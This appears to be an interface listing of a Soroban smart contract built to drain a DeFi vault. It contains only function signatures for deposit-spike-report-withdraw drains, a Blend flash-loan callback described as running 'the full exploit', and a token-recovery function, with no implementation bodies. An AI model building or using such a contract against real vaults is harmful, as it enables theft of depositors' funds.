Capital drain — deposit + spike + report + withdraw
fn drain(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
vault: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
blend_pool: soroban_sdk::Address,
deposit_amount: i128,
spike_amount: i128,
) -> i128
Blend flash loan callback — Blend calls this during flash_loan We execute the full exploit here
fn exec_op(
env: soroban_sdk::Env,
_from: soroban_sdk::Address,
vault: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
blend_pool: soroban_sdk::Address,
deposit_amount: i128,
spike_amount: i128,
)
Recover tokens
fn recover(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
) -> i128
fn initialize(env: soroban_sdk::Env, owner: soroban_sdk::Address)
Flash loan drain using Blend — zero capital
fn drain_flash(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
vault: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
blend_pool: soroban_sdk::Address,
flash_amount: i128,
) -> i128
Simple drain — just report + deposit/withdraw
fn drain_simple(
env: soroban_sdk::Env,
owner: soroban_sdk::Address,
vault: soroban_sdk::Address,
token_addr: soroban_sdk::Address,
deposit_amount: i128,
) -> i128